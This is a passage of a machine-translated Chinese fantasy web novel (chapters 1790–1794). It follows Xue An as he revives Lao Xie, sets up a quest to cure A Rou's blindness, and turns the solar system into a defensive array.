    But the consequence of doing that is that Lao Xie will become another person.


    Because even when the soul has changed, can it still be the same person?


    This is also the reason why Xue An and Zhuge Zang tried their best to find the souls left by Lao Xie.


    Because only in this way can it be ensured that the old Xie who wakes up after success is the same old Xie.


    But things are impermanent and ultimately failed.


    Just as Xue An shook his head, ready to step forward to comfort the crying fat aunt and Xie Jingjing, the mother and daughter.


    I don''t know if it was because of Xie Jingjing''s crying or what reason, a ray of light flashed across Lao Xie''s dull and dull eyes.


    This change was extremely weak, and only Xue An noticed this in the audience, and he was taken aback.


    "Auntie Fatty, Jingjing, don''t cry first, thank Uncle for him..."


    It was at this moment that old Xie''s eyes gradually revealed a look, and the sluggish face also softened.


    This change made the audience quiet.


    Xie Jingjing was trembling with excitement. She opened her mouth and wanted to call Dad, but she didn''t dare to say it because she was afraid that she would disturb Lao Xie again.


    The brilliance in Lao Xie''s eyes was gradually recovering, as if a computer with a messy program was restarting, and the whole process lasted a full minute.


    No one spoke during the whole process.


    Everyone watched silently.


    Xie Jingjing''s nervous palms were all in cold sweat, and she stared at her father intently.


    at last.


    When the brilliance in Lao Xie''s eyes gradually diminished, he slowly raised his head, first looking at the fat aunt who was aside, and then a gentle smile appeared on his face.


    "Jing... Jingjing''s mother!"


    The voice was vague, as if someone who hadn''t spoken for a long time was practicing speaking again.


    But it was such a simple address that made Fat Auntie burst into tears, she couldn''t even speak, she could only keep nodding her head.


    Then Lao Xie looked at Xie Jingjing again, and said with difficulty: "Jing..."


    Before he could finish speaking, Xie Jingjing plunged into his arms and burst into tears.


    This scene also caused An Yan and the others to cry together, especially thinking about the three of He Nian Nian and Zhang Xiaoyu, they were like tears.


    Even Hu Ye couldn''t help wiping his tears, and sighed, "It''s so touching, even I can''t help but want to cry!"


    In the midst of crying, Lao Xie patted her daughter on the shoulder, "Hey, don''t cry!"


    Xie Jingjing gradually stopped her grief.


    Then Lao Xie struggled to stand up from the ground and smiled at Xue An.


    "Xiao An, thank you very much!"


    At this time, he has become much fluent in speaking, and the expression on his face has become more vivid.


    Xue An smiled, "Uncle Xie, it is not me that you should thank, but you, not because of your obsession, nor will you have this opportunity today!"


    As he said, he looked at Old Xie seriously, "Uncle Xie, how is your memory recovered now?"


    Old Xie shook his head, "I can''t remember a lot of things. I only remember that after I was hit, a part of my consciousness floated into the air. I wanted to talk to someone, but found that it couldn''t affect anything. I can only wander lonely between the heavens and the earth, and with the passage of time, this point of my consciousness has gradually blurred. I thought I could not hold on any longer, but I didn''t expect to wake up!"


    Xue An let out a sigh of relief, because from Lao Xie''s clear logical sentence, it can be seen that his consciousness has not been damaged. Although some memories have been lost, it is a fluke to be able to recover.


    So he couldn''t help but smiled and said: "If you lose your memory, you will lose it. I just don''t know if Uncle Xie''s cooking skills are lost. I still want to have a meal with you at night!"


    This sentence made the originally sad atmosphere in the field alive instantly.


    Old Xie''s consciousness at this time has become clearer, and he can''t help laughing: "Don''t worry, Xiaoan, you thank Uncle, I will forget your fat aunt and I will not forget the cooking skills!"


    These words made Aunt Fatty and Xie Jingjing both burst into laughter, especially Aunt Fatty, who gave Lao Xie a blank look of joy.


    "Bah, I just woke up and talked nonsense! Don''t hurry up to cook It happens that Xiaoan and them are all here, let''s all celebrate tonight!"


    Xie Jingjing was a little worried, "Dad, can you just wake up?"


    Old Xie smiled, "Daughter, don''t you believe your father''s cooking skills? I can make a table of dishes even with my eyes closed."


    Having said that, he went straight to the kitchen happily.


    What else Xie Jingjing wanted to say, Xue An stopped her, "Let Uncle Xie go! He has been in that state of being inhuman and ghost for so long. It is normal to be agitated after waking up! And let him do it. Doing what he used to do before can also help him recover as soon as possible!"


    Xie Jingjing nodded when she heard this, and then said gratefully: "Brother XiaoAng, thank you!"


    "Thanks?" Xue An smiled, "This is what I should do, thank you! Let''s go, go inside and wait to taste Uncle Xie''s craft!"


    After that, he walked into the Lao Xie Hotel.


    Xie Jingjing looked at Xue An''s back with a look of sadness in her eyes, but Xuan even was deeply hidden, and then walked over quickly.

 Chapter 1790： A blessing in disguise, my mystery

    The flames roared and laughed, accompanied by the impact of the spatula, forming a melodious movement.


    Soon, plates of dishes were presented like water.


    Although there are no precious ingredients, it can be said to be full of color and fragrance.


    After everyone took a bite, they all looked surprised.


    "This taste... is simply delicious!" Zhuge Zang, who has a good **** and delicious food, couldn''t help sighing.


    The two little girls and Zhang Xiaoyu didn''t even have the time to talk, and began to frantically deal with the food in front of them.


    Even the fat aunt and Xie Jingjing who were used to old Xie''s craftsmanship can''t help being taken aback.


    Because it tastes much better than before.


    Although Lao Xie used to cook well, he is at best the level of a food stall chef, but now the taste is comparable to the world''s top chefs, and even better.


    "Husband? What is going on? Why has Uncle Xie''s craft improved so much?" An Yan couldn''t help asking.


    Xue An was also a little surprised at first, but after thinking about it, he understood the reason, moved a little in his heart, and then smiled.


    "It��s not surprising that Uncle Xie��s great advancement in cooking is largely because his consciousness has been wandering between the heavens and the earth for a long time. Although the loss is huge, it has also been greatly tempered, so now cooking has become This is an alternative blessing in disguise because of his instinct!"


    Hearing Xue An��s explanation, An Yan nodded suddenly, and Aunt Fatty and Xie Jingjing were naturally very happy.


    Only Zhuge Zang thought of something, his eyes lit up slightly, and he glanced at Xue An.


    Xue An nodded at him slightly, and a smile appeared on Zhuge Zang''s face.


    At this moment, Lao Xie, who had finished cooking, walked over with a smile while wiping his hands.


    "How''s it? It tastes good, right?"


    Everyone nodded, and Zhang Xiaoyu raised his head even more, and said in a bulging mouth: "It''s delicious, it''s so delicious!"


    Old Xie smiled triumphantly, took out a bottle of wine he had collected from behind, filled it up impatiently, and said, "It''s delicious! Come on, Xiao An, and everyone, let''s have a drink together! I''ll do it first."


    As he said, he drank it all in one fell swoop, and then slapped it with satisfaction, "It''s so fragrant!"


    In the past, Aunt Fatty would definitely murmur if she saw Lao Xie drinking like this, but this time she did not speak, but looked at Lao Xie with a distressed face.


    Xue An smiled, "Why do I think that Uncle Xie is good at drinking? How about you try to temper yourself like this?"


    This sentence caused everyone to laugh, and then they toasted and started drinking.


    The wine did not disperse until late at night.


    Before leaving, Old Xie and Fat Aunt went out to see them off.


    Lao Xie''s alcohol volume has really increased a lot, even though he drank a lot, he is still sober.


    On the contrary, Xie Jingjing was so drunk that she had to go to bed early.


    Everyone left one after another, and in the end only Xue An and An Yan were left.


    Even the two little girls who were full of food and drink had already followed Hu Ying and Zhang Xiaoyu back first.


    The fat aunt pulled An Yan to the side and whispered between women.


    Old Xie lit a cigarette, took a deep breath, and then slowly exhaled the smoke.


    "Xiao''an, you said I am... or me?" Old Xie Youyou asked.


    "Why do you say that?"


    "Although consciousness and memory are there, I have died once after all, and now my body has become such a look, making me feel that my previous self has disappeared! For example, drinking alcohol, I have nothing to drink now. Feel!" Old Xie smiled wryly.


    Xue An shook his head and said in a deep voice: "Uncle Xie, as long as the soul has not changed, then you are you! As for your current doubts... In a word of the Buddhist school, it is called a mystery!"


    "The mystery I see?" Old Xie murmured, then lowered his head in deep thought, without even noticing that his cigarette **** had burned to his fingers.


    Xue An continued: "Yes! Your consciousness has been wandering between heaven and earth for so long after all. If it wasn''t for a ray of obsession to support you, your memory might have disappeared! By then, even your soul There is still a new you! This is called the mystery of the yin!"


    Old Xie nodded, "I understand a little bit, to put it bluntly, now I am like a rebirth with memories!"


    Xue An nodded, "It can also be explained like this!"


    Old Xie smiled, "It turns out that this is the case, then I can rest assured! Xiaoan, thank you!"


    "No thanks!" Xue An smiled, "And I just suddenly had an idea, it seems that you can embark on the road of cultivation!"


    "The road to practice?"


    "Yes! The road to cultivation through cooking!" Xue An said with staring eyes.


    On the way home, An Yan asked curiously: "Husband, what did you say to Uncle Xie? What made him so excited?"


    Xue An smiled slightly, "It''s nothing, just gave him a cookbook!"


    "Cooking method?" An Yan looked dumbfounded, "Are you trying to let Uncle Xie carry forward cooking?"


    "What? Can''t it?" Xue An said with a smile.


    "It''s not impossible, but is this really promising?" An Yan hesitated.


    "Future? Of course! Otherwise, why do you think your husband and my culinary skills are so good? It''s a very advanced method to learn from cooking!" Xue An said lightly.


    at the same time.


    In the Lao Xie Hotel, the fat aunt fell asleep very sleepy because of the ups and downs of the day.


    Old Xie stood in the kitchen with excitement, because there was a golden law in his mind.


    God of Cookery!


    Lao Xie was amazed by the unheard of cultivation methods recorded above.


    But what excites Lao Xie most is the recipes that were attached at the end of the law jue.


    Seeing those almost unbelievable techniques, Lao Xie took a deep breath, then picked up the kitchen knife, and began to carefully cut the shredded vegetables.


    Because he couldn''t forget the last words Xue An said to him.


    In this world, if a man wants to live well and at the same time make his family live better, he must have his own strength!


    For this sentence, Lao Xie deeply agrees.


    And his road of cultivation also began.


    at the same time.


    In the Lingying Palace of Fanjing Mountain, Shi Xueqing stared at the drunk Fox Night in amazement.


    "Master, what is...what''s wrong?"


    A Rou on the side said helplessly: "What else? Too much drinking! Come to and help me help him to the bed!"


    The two women arrived on the bed carrying Fox Night.


    Shi Xueqing was just about to leave.


    At this moment, the night Fox on the bed began to mumble, "Yu''er, Honghong, don''t go!"


    I heard the names of these two strange women.


    Shi Xueqing swallowed subconsciously and peeked at A Rou.


    really.


    A Rou''s face sank instantly, and then she said in a deep voice, "Miss Xueqing!"


    "in!"


    "Thank you for pouring a cup of tea, remember, the hot one!"


    "����Oh!"

 Chapter 1791： Drunk

    After bringing the tea, Shi Xueqing glanced sympathetically at Fox Night on the bed, and then quietly withdrew.


    But out of worry, she still guarded the door carefully and did not leave.


    Although his Patriarch is usually exhausted and lazy, he can be called cynical, but in this battle, his performance is obvious to all.


    After this battle, the reputation of the Fanjing Mountain Lingying Palace has also risen sharply. The number of pilgrims who came to worship has suddenly increased countless times. When he is busy, Xueqing is simply overwhelmed, and it has only calmed down a little bit in the past few days. some.


    Under this situation, Shi Xueqing''s impression of Fox Ye has also changed a lot. Now that Shi Niang seems to be very angry, she is of course uneasy.


    At the same time, Arou fumbled and picked up the tea cup and walked to the bed.


    "Little fox, who were you calling just now?" Arou said softly.


    Huye was still half drunk and half awake, and he was completely defenseless when he heard A Rou''s question. He hehe smiled and said, "Is it my good friend back then?"


    "Good friend? That''s it?" A Rou asked in a low voice.


    What responded to her was Huye''s snoring.


    A Rou sat idly by the bed for a long while, until the tea in the cup gradually cooled down, she fumbled and picked up Fox Ye''s head.


    "Drink some water!"


    But at this moment, Hu Ye suddenly stretched out his hand and hugged A Rou directly.


    A Rou was startled, and the tea cup in her hand fell to the ground with a crisp cracking sound.


    Shi Xueqing outside the door couldn''t help but be surprised, "Madam, what''s the matter? Is something wrong?"


    Shi Xueqing said softly: "It''s okay, it''s just that the teacup has fallen off, don''t worry about me!"


    "Really all right? Do you need my help?" Shi Xueqing still hesitated.


    "It''s okay! Go ahead!" A Rou said nervously, her pretty face turned red because of Fox Ye''s hug.


    "Okay!" Shi Xueqing stopped talking, but did not leave.


    At the same time, Arou leaned down and whispered in Huye''s ear: "Let go of me!"


    But instead of letting go, Huye held her hands tighter, and then muttered vaguely.


    "Rourou, when I find a way, I will definitely cure your eyes!"


    Hearing these words, Ah Rou trembled all over, and then she was stunned.


    She couldn''t see anything since she was born, and she never knew what light was, until she later met Fox Ye.


    As the fairy king, Hu Ye thought at first that this was just a small illness that was easily cured, but he didn''t expect that all his attempts would fail.


    Neither the pill or the magic of the Immortal King had any effect on A Rou''s eyes.


    It wasn''t until A Rou''s spirit was checked carefully that Hu Ye discovered that there was no sense of sight in her spirit, which meant that her five senses were naturally lacking.


    This situation is simply unheard of, even Hu Ye can''t help it.


    Even after seeing Zhuge Zang, he asked more than once, but Zhuge Zang couldn''t do anything about it.


    As a result, Arou gradually lost the heart that restored his eyesight.


    Now that Hu Ye mentioned it again, A Rou''s heart was naturally shaken.


    At this moment, Hu Ye suddenly sat up halfway, and kissed A Rou''s lips with Qifen drunk.


    A Rou''s whole body stiffened, and her heartbeat seemed to stop.


    "Arou, give it to me!" Hu Ye whispered in her ear.


    All the struggles of A Rou stopped, and then the bed curtains slowly dropped.


    Outside the door, Shi Xueqing suddenly heard a strange sound coming from inside the house. At first, she was a little unsure. After listening carefully, she suddenly understood what, and then her face turned red to the roots of her ears, and she hurriedly turned and left. .


    That night passed.


    Waiting until the next day, Fox Night woke up with a hangover, only feeling terrible head pain.


    "Damn, it seems that I can never drink so much in the future!" Hu Ye muttered softly, then turned to one side, and his eyes widened.


    A Rou, with tears on her face, was sleeping next to him. Seeing that, it seemed that she had just fallen asleep not long ago.


    Hu Ye looked down at her body again, and couldn''t help but breathe a cold breath, "Damn, this...what''s going on?"


    one hour later.


    In Tianzi No. 1 Villa.


    Xue An, Zhuge Zang, Ye Hanshang and others stared at Fox Ye with big eyes.


    A Rou was sitting in the distance surrounded by An Yan and others, with tears on her face.


    "Let''s talk, what''s going on?" Xue An said solemnly.


    Hu Ye shook his head, "I...I don''t know! I remember taking Arou to the Lingying Palace of Fanjing Mountain after drinking, and I don''t remember anything about it!"


    As soon as he said this, Arou lowered her head, tears falling down.


    Hu Ying became angry when she saw this scene, and even her brother stopped screaming, "Hu Ye, what do you mean by this? Don''t you plan to admit it after eating? Are you worthy of my sister-in-law?"


    The eyes of everyone watching Fox Ye also became weird.


    Hu Ye was sweating profusely, and waved his hands again and again: "No, no, although I am unreliable in doing things, I am not the kind of irresponsible person, I just...just..."


    "Just what? You say!" Hu Ying asked aggressively with her hands on her hips.


    Hu Ye lowered his head and said weakly, "I just feel a little too sudden, I''m sorry, Arou!"


    This answer made Hu Ying, who wanted to scold the "scumboy" brother, couldn''t help being stunned.


    "Uh...you..."


    At this moment, Hu Ye raised his head and said firmly: "Actually, I wanted to officially marry A Rou as my wife, but I always felt that the time was not yet ripe, so it has been delayed until now, but now she is My woman is gone, so naturally I didn''t say anything. I will take A Rou back to the Qingqiu Fox Country soon and apply to the great elders. The Ming media is marrying A Rou!"


    Hu Ye''s words made A Rou''s face shine The cold and trembling hands also warmed up.


    But Xue An raised his eyebrows slightly, "You just leave Arou like this, do you think the elder of your Qingqiu Fox Country will agree to marry her?"


    This question hit the key point, Linghuye was speechless, and it was only a moment later that she said a little bit: "No!"


    But immediately he said with a solemn expression: "Even if they don''t agree, they can''t change my mind! The big deal is to take Arou and run away!"


    "Okay! This is the daring brother in my mind!" Hu Ying yelled at the excitement.


    Xue An shook his head, "Hu Ye, it''s still too simple for you. Do you really think that the problem will be solved by betraying your family by then?"


    "if not?"


    "As a well-deserved leader among the younger generation of the Qingqiu Fox Country, you are the future star of the fox family who has been given high expectations by those great elders. If you dare to betray the Qingqiu Fox Country for Arou, then I promise Arou will never survive the next morning!"

 Chapter 1792： In search of emperor

    Hearing what Xue An said, Hu Ye wanted to refute, but couldn''t find any reason, so she could only shut her mouth sullenly.


    Because he knew that what Xue An said was the truth.


    If you just take A Rou back, then the elders will definitely kill A Rou at all costs.


    "Huh! These great elders are absolutely broken!" Hu Ying also said irritably.


    Xue An shook his head, "This is not because they are bad, but as the guardians of the Tianhu clan, they must do this!"


    "Then what should I do? Is it just like watching A Rou get hurt?" An Yan couldn''t help but said.


    "There is only one way to do this!"


    Everyone''s eyes lit up, "What can be done?" Hu Ye asked impatiently.


    Xue An didn''t respond, but instead stood up and walked to A Rou.


    At this moment, A Rou was confused and sat on the chair with a blank face.


    Xue An stared at her dull and dull eyes and suddenly said, "What''s the matter with her eyes?"


    Hu Ye sighed, "It''s useless. I tried it. Her eyes are actually fine, but she just can''t see anything. Later, I checked her spirit and found that she was born with a lack of vision!"


    Zhuge Zang also nodded, "Yes, I used the method of fate to calculate that this girl Arou''s fate is extremely special, she is destined to lack one of her five senses, and she is born incomplete!"


    Xue An frowned and remained silent.


    A Rou''s heart also gradually sank to the bottom, and then squeezed out a smile that was uglier than crying.


    "Thank you for your concern. In fact, I have already anticipated this. After all, I am just a mortal woman with a fate, and I am still a blind man. I am destined to not get along with Fox Ye! I don''t blame him. Really! This is all my life!"


    When she said these words, Arou was calm and terrible, but her tears fell like a broken string.


    "I don''t even blame him for what happened last night. It was all my voluntary. Okay, Fox Night, send me back to Lingying Palace!"


    With that, Arou stood up and prepared to leave.


    But at this moment, Xue An suddenly said: ��Actually, I know that there is something in the heavens that can not only heal Arou��s eyes, but also transform her body, making her the choice of the elders. A strong monster body without any problems!"


    Hearing these words, Hu Ye and everyone were shocked.


    Zhuge Zang''s eyes lit up even more, "Xiao''an, you mean..."


    Xue An nodded, "That''s right, it''s Emperor Liuliu!"


    The name made the room very quiet, and even Fox Ying was surprised.


    An Yan asked in a low voice, "Ying''er, what is this emperor flow?"


    Hu Ying said solemnly: "Sister Yan, this emperor flow is a legend spread among the monsters! It is said that this kind of thing is extremely mysterious, and it is said to contain the innate Yuehua spirit which is extremely important to the monsters. , Can illuminate the demon spirit, refine the demon body, and even help you advance to the demon bloodline!"


    An Yan''s eyes gradually widened, "Is this thing so magical?"


    "Of course! But since the great moon catastrophe five thousand years ago, this emperor''s flow has never appeared again!"


    at the same time.


    Hu Ye was also stunned, "Emperor Flowing Blood? Isn''t that a sacred item of the Monster Race? Can it really heal A Rou''s eyes?"


    Xue An nodded, "Of course! Because... A Rou''s eyes are not natural at all!"


    These words made Huye tremble all over his body, and exclaimed, "What did you say?"


    Even A Rou was shocked.


    Xue An said solemnly: "I have just probed Arou''s spirit and found that she is indeed missing her sense of sight, but I can smell a very subtle demon in it, so I can conclude that she is not born like this, but A big demon forcibly tampered with her fate and took away her sense of sight!"


    Zhuge Zang was also taken aback, and said in astonishment: "But the fate display I deduced..."


    Xue An waved his hand, "Of course there is no difference in the fate of the deduction, because this is not what happened in A Rou''s life! It happened in previous lives."


    Speaking of this, Xue An settled for a while, and then continued: "In other words, A Rou has been living like this for several lifetimes!"


    Fox night is angry!


    He is always tired and lazy, but he rarely gets angry.


    But this time, he was completely angry!


    "Who? Who is so cruel, treating a weak woman like this? I''m going to tear him apart!" Fox Ye said with red eyes.


    Xue An shook his head, "There are too few clues, and it is still impossible to tell who it is! But since this situation of A Rou is not a congenital defect, but has been forcibly tampered with by an unknown big demon, then he wants to make A Rou recover. , You must use Diliuzhi!"


    "Furthermore, with the Emperor Liuxu, Arou can abandon the human body and become a fox or other monster like you. At that time, the elders of your Qingqiu fox country will not find a reason to oppose. Now! Isn''t this the best of both worlds?"


    Xue An''s remarks were justified and well-founded, and Fox Ye heard it with enthusiasm, and immediately said: "Okay, then I will go to Emperor Liuliu now to heal A Rou''s eyes!"


    With that, Hu Ye grabbed A Rou''s hand, turned and left.


    Xue An stopped him, "Hold on! Do you know where Emperor Liuli is?"


    Fox Ye was taken aback, "I don''t know!"


    "Then you just look for it aimlessly? When do you have to find it?"


    "Then what do you say? You can''t just wait on earth like this!" Hu Ye said eagerly.


    Xue An smiled slightly, "At this moment, I am not in a hurry. After I have finished everything on earth, I plan to go to the ancestral land of the dragon clan. The news about the long-horned loach is the best, they should know Some clues to the emperor''s flow!"


    Hearing these words, the brilliance in Fox Ye��s eyes was great, and then he patted his thigh again, ��Yes, why did I forget these guys! If there is any monster in the heavens that knows the emperor If the slurry falls, it must be these big loaches!"


    After all, Hu Ye looked at Xue An impatiently.


    "Old Xue, now the seal of my sister-in-law is also releasedUncle Xie is also sober again, is there anything else to deal with?"


    Xue An nodded, "Of course there is, and it''s a very important thing!"


    "A very important thing?"


    "Yes! The news that I was reincarnated and proclaimed the Immortal King must have spread throughout the heavens at this moment, and the earth is at the cusp of the storm. If you do not take precautions in advance, it is difficult to say that this situation will not happen again. And it is impossible for me to come back in such a timely manner every time!"


    There was still Zhuge Zang in the night of the fox, Ye Hanshang and others were shocked.


    "Then you want to..."


    "Yes, I want to transform the starry sky so that the entire solar system becomes a defensive array, protecting the earth in it!"


    This idea is extremely grand in the eyes of Anyan and others.


    But to Zhuge Zang and others, it is nothing at all!


    Because compared to the existence of a galaxy as a moat in the depths of the starry sky, there is only one solar system, which is not worth mentioning.

 Chapter 1793： Turn the solar system into a defensive circle

    Untied all the restraints, Chu Wuxiang, who was like a giant, lifted a boulder at least several kilometers in size to the predetermined location.


    boom!


    Dao Guanghua appeared on the stone gravel, and then connected to the previously arranged magic circle.


    At this point, the boulders on the periphery of the solar system have all been transformed into a magic circle and become a whole.


    Seeing this scene, Zhuge Zang let out a sigh of relief.


    At this time, ten days have passed. During these ten days, Xue An led Zhuge Zangye Hanshang and others to run around the solar system non-stop.


    With the combined efforts of the five immortal kings and the help of a Jin Jueseng who is comparable to the immortal king, a huge defensive array began to take shape.


    Especially when the array on the edge of the solar system is set up, a large frame is successfully established.


    Of course, the people on earth are not idle.


    After learning about Xue An''s plan, countries all over the world responded. Some people pay, no one pays, and those who don''t have anything are trying to provide some help.


    In short, countries in the world have never reached such a consensus on one thing.


    The work enthusiasm of the strong people on the earth is also unprecedentedly high, because they know that this defensive circle is purely to protect the earth.


    It''s about their own wealth and life, how can they not care?


    With the gradual formation of the defensive circle, the entire world was filled with excitement and tension.


    The major media put all their energy on this unprecedented huge project, reporting the latest construction progress every day.


    In this case, the members of the Fire Phoenix Special Team were naturally not idle.


    They were assigned to set up a defensive base on the moon.


    However, the Fire Phoenix Special Forces had some changes at this time. First of all, there was an additional female team member.


    Xiao Rui, who had already woken up, successfully became a member of the Fire Phoenix Special Forces with undisputed strength.


    Although she was still very taciturn, she had changed a lot after she had successfully integrated all her souls.


    For example...now.


    Zou Sui walked forward with a smile and snatched the engineer shovel in Xiao Rui''s hand.


    "You take a break first, and I will leave the rest to me!"


    When he said that, he started working in full swing.


    Xiaorui looked at him, her cold eyes gradually softened, then she shook her head and walked aside to get busy again.


    This is the daily routine between the two of them.


    Everyone in the Fire Phoenix Army took no surprises, and no one even made a fuss.


    Because everyone knows that Zou Sui regards Xiao Rui as his sister.


    At this moment, a brilliance flashed, and Xue An appeared in the lunar base that had not yet been constructed.


    "Instructor!"


    "Hello instructor!"


    The greetings came one after another, Xue An smiled and nodded in response, and then fixed his gaze on Xiao Rui.


    Seeing this ill-fated girl, Xue An couldn''t help but feel a touch of pity in her eyes.


    "How do you feel? Have all your previous memories recovered?" Xue An asked softly.


    Xiao Rui was silent for a moment, then shook her head, "No!"


    "If you really can''t remember, just forget it, you just need to remember your name is Xiao Rui!" Xue An said softly.


    Xiao Rui nodded.


    Then Xue An raised his head and looked at the members of the Fire Phoenix who had already formed a line, and said in a deep voice: "Next, there will be other troops taking over your current tasks, and you will go to a place to take care of the evil spirits inside. Clean it up, are you confident?"


    Cheng Hao and others opened their mouths and shouted, "Guaranteed to complete the task!"


    Xue An nodded, "Very good! Then prepare now and set off now!"


    At this moment, Zou Sui asked curiously: "Instructor, can you tell me where you are going?"


    Xue An smiled slightly and said two words, "Abyss!"


    The space-time passage leading to the abyss in Kunlun has long been blocked, and there are heavy soldiers guarding it here just in case.


    After Xue An led the people of the Fire Phoenix Special Team here, the troops who had learned the order in advance retreated ten miles away.


    Xue An raised his hand and waved, all the blockades on the space-time passage were broken.


    The brilliance of the black hole gives people a creepy feeling.


    Xue An stepped inside, "Follow me!"


    Cheng Hao and the others didn''t even hesitate, and immediately followed suit.


    At this time, this space-time channel was already very stable, so everyone just felt a flower in front of them, and then they came to a black planet.


    Immediately afterwards, a large number of demons appeared in front of everyone.


    Cheng Hao was shocked and immediately shouted: "Preparation for the first level of battle!"


    With an order, the Fire Phoenix Special Forces moved after hearing the wind, and in the blink of an eye they formed a simple but practical defensive formation.


    But at this moment, I saw that these abyss demons knelt to the ground and shouted at Xue An.


    "We, see the king!"


    The sound shook the four fields, and everyone in Fire Phoenix was stunned.


    Xue An smiled faintly, "Get up all!"


    "Yes!"


    The three high-level demons, Zhan Qianchen, Duan Wanfa and Kang Shuaifu took the lead to stand up.


    The rest of the demons got up one after another.


    "How did I explain your business?" Xue An said lightly.


    Standing in the forefront, Zhan Qianchen looked embarrassed, "Going back to the king, we have cleaned most of the abyss according to your instructions, and we have basically descended on the wind, but now several forces refuse to obey your orders. We have been encircling and suppressing several times, but we have never succeeded, so..."


    "So now those forces that have returned are starting to move around, right?" Xue An said coldly.


    Zhan Qianchen''s face suddenly oozes cold sweat, and he knelt down in a hurry, "The king''s anger is incapable!"


    The rest of the demons also knelt down again It''s all right! Xue An waved his hand, "I didn''t blame you either, aren''t there a few forces that refuse to return? Just leave it to them! "


    After that, Xue An pointed to Cheng Hao and others, and said lightly.


    "In the future, they will be my spokesperson here, and their orders will be equivalent to my orders, and they will also be managed here. You must cooperate fully and make no mistakes? Understand?"


    Xue An''s words made Zhan Qianchen and other demons horrified. They all bowed and said, "Yes!"


    Not only them, including Cheng Hao and others are a little confused.


    "Instructor, this..."


    Xue An smiled, "This abyss is no longer too strong, and it can be handed over to you to practice, and I have already set it up. After you have thoroughly cleaned the abyss, the abyss will be connected to the earth as one. !"


    "By then, the earth will have an extremely vast space with great development prospects, and this... is also the first step for the earth to move toward the heavens!"

 Chapter 1794： Connect the abyss

    If the earth wants to truly stand among the heavens, then blind defense is definitely not enough.


    The only way is to get stronger, keep getting stronger.


    When you are strong enough to outsmart the crowd, the previous danger is no longer a danger.


    But if you want to keep getting stronger, the first thing you need is resources.


    After all, it takes a huge amount of resources to become a true immortal powerhouse, not to mention the great Luo above it.


    Although the earth has the blessing of Qi Yun, and its aura is very abundant, it is still too small after all.


    Supporting the existing powerhouses is already very reluctant, and it is even more impossible to think about it further.


    So the only feasible way now is to widen the space of the earth.


    Therefore, Xue An put his idea above the abyss.


    In fact, there is nothing more suitable for the earth than the abyss.


    First of all, the space here is vast and the resources are abundant. The most important thing is that the Lord of the Abyss has fallen, and now it is Xue An who holds the power of the Abyss.


    All the reasons were combined, and Xue An made the decision to make the abyss become the back garden of the earth.


    But the prerequisite for this is that all creatures in the abyss must be subdued.


    Otherwise, once they are easily connected, it is easy to cause trouble.


    Xue An didn''t bother to clean up the ants one by one, and when he had a clever move, he handed this task to Fire Phoenix.


    Because this is a good temper for them.


    After finishing the arrangement here, Xue An nodded and called Zhou Daniu.


    "You clean up and follow me!"


    "Where to go?" Zhou Daniu was startled.


    Xue An smiled, "Didn''t you already worship Lao Chu as your teacher? Now that the matter has been dealt with almost, he will leave soon, and you, as an apprentice, must also go with you!"


    Upon hearing this, Zhou Daniu was dumbfounded.


    "I...I won''t go!"


    "Not going? Why not?"


    "Because I swore before, that a person born as a fire phoenix is ??a ghost of a fire phoenix! So I can''t leave!" Zhou Daniu said seriously.


    Xue An was almost amused, "Who said you are leaving the Phoenix?"


    Zhou Daniu blinked, "Didn''t you just say..."


    "You have worshipped Lao Chu as your teacher. This is a once-in-a-lifetime great thing. Now you are following him to learn your skills. After you have completed your cultivation, of course you will come back! I didn''t say that you should follow him forever! Ann smiled with some chicken thieves.


    Zhou Daniu also understood, but his face was still full of entanglement and sadness, "But I... I can''t bear to bear with my brothers!"


    At this moment, Cheng Hao stepped forward and said, "Daniu, what the instructor said is correct. This is a golden opportunity for you. Don''t miss it. When you return from cultivation, you can rejoin Fire Phoenix. Not later, the door of our Fire Phoenix is ??always open for you!"


    "Yes, Daniel, listen to the instructor, and go quickly!"


    "That''s the immortal king. Others can''t worship the teacher, so you should go!"


    Among these persuading voices, Zou Sui, who had the best relationship with Zhou Daniu, walked over with red eyes.


    "Da Niu, go, Lao Tzu waits for the day when you also become a fairy king, then I can brag that my brother is a fairy king!"


    "Broken mouth..." There were tears in the big cow''s eyes.


    "Hurry up! You''re the **** mouthpiece, I don''t want to see you at all now!" Zou Sui turned around and left.


    Zhou Daniu was silent for a moment, and finally turned to Xue An and said, "Instructor, I will go with you!"


    "Okay! Without further ado, leave now!"


    After that, Xue An finally told Cheng Hao and others, "Remember, this space is far more dangerous than you think. You must be united to succeed. This is also a test for you. I hope you don��t Will let me down!"


    "Instructor rest assured, we promise to complete the task!" everyone shouted.


    "Very good! Then I wait for your good news!"


    After all, Xue An led Zhou Daniu to fly out of the abyss.


    He had already imprinted the runes on this space-time passage, and notified the general of the town of China that as long as the abyss inside was cleaned, the runes could be triggered automatically, and finally the abyss and the earth would be completely connected.


    After doing this, Xue An flew to the edge of the solar system.


    At this moment, the defensive formation has basically taken shape except for some corners that need to be repaired.


    Standing on the edge, looking inward, but seeing a Dawson cold brilliance surrounding the entire solar system, there is even more murderous intent inside.


    Seeing such a magnificent scene, Zhuge Zang couldn''t help sighing: "In just ten days, such a vast defensive circle was deployed. I guess no one will believe it is true!"


    "That is, you don''t even look at the people who are doing it. The five immortal kings plus a Buddha-cultivation big Bodhisattva are just playing around?" Hu Ye said with a smile.


    At this moment, Xue An also appeared in front of everyone.


    "how about it?"


    "It has been arranged, it shouldn''t take long to connect together!" Xue An said.


    Ye Hanshang frowned, "I still don''t understand why. Thank you, you can remove all the debris in the abyss with a single sword, so why bother to spend so much time? Besides, after we leave, the abyss Connect with the earth, what if something happens?"


    Xue An smiled, "What I want is for them to spend a lot of trouble, because if the earth wants to truly step into the ranks of the strong, it must learn to solve problems by itself. I can''t handle everything properly and let them Sit back and enjoy it!"


    "So even if there are some setbacks, it is an opportunity to test them."


    Ye Hanshang stopped talking when he heard Xue An''s words.


    Zhuge Zang laughed, "It seems that Old Xue, you are planning to cultivate the earth into your own power?"


    Xue An nodded naturally, "Yes! I really think so!"


    Zhuge Zang''s eyes lit up, and he said hesitantly: "Then those forces before you..."


    Xue An smiled coldly Don''t worry, you have to get it back bit by bit! But those people who have betrayed me, none of them can run away! "


    With the completion of all preparations, the time has finally arrived.


    On this day, almost everyone received the news and gathered in Villa No.1 Tianzi in Beijiang.


    This is a farewell dinner with a slightly dull atmosphere.


    Many people are a little uneasy.


    After all, everyone is accustomed to Xue An''s existence and to the five immortal kings.


    That is a sense of security that is almost overflowing.


    But everyone also knows that what Xue An is doing here is bound to be even more magnificent.


    So everyone is sincerely expressing blessings to Xue An.


